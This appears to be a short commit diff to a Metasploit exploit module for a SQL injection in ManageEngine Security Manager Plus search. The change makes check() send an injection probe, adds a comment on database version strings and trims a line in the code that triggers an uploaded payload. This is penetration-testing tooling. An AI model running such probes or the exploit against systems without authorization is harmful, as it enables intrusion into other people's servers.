Make the check() try SQLI

Author: sinn3r

modules/exploits/multi/http/manageengine_search_sqli.rb

@@ -52,14 +52,11 @@ def initialize(info={})
 	end
 
 
-	#
-	# A very gentle check to see if Security Manager Plus exists or not
-	#
 	def check
-		res = send_request_raw({'uri' => '/SecurityManager.cc'})
+		res = sqli_exec(Rex::Text.rand_text_alpha(1))
 
-		if res and res.body =~ /\<title\>SecurityManager Plus\<\/title\>/
-			return Exploit::CheckCode::Detected
+		if res and res.body =~ /Error during search/
+			return Exploit::CheckCode::Appears
 		else
 			return Exploit::CheckCode::Safe
 		end
@@ -82,6 +79,7 @@ def pick_target
 
 		res = send_request_raw({'uri'=>"/#{rnd_fname}"})
 
+		# What @@version returns:
 		# Linux   = 5.0.36-enterprise
 		# Windows = 5.0.36-enterprise-nt
 
@@ -248,7 +246,7 @@ def inject_exec(out)
 
 		fname = "/#{File.basename(out)}"
 		print_status("#{rhost}:#{rport} - Requesting #{fname}")
-		res = send_request_raw({'uri' => fname})
+		send_request_raw({'uri' => fname})
 
 		handler
 	end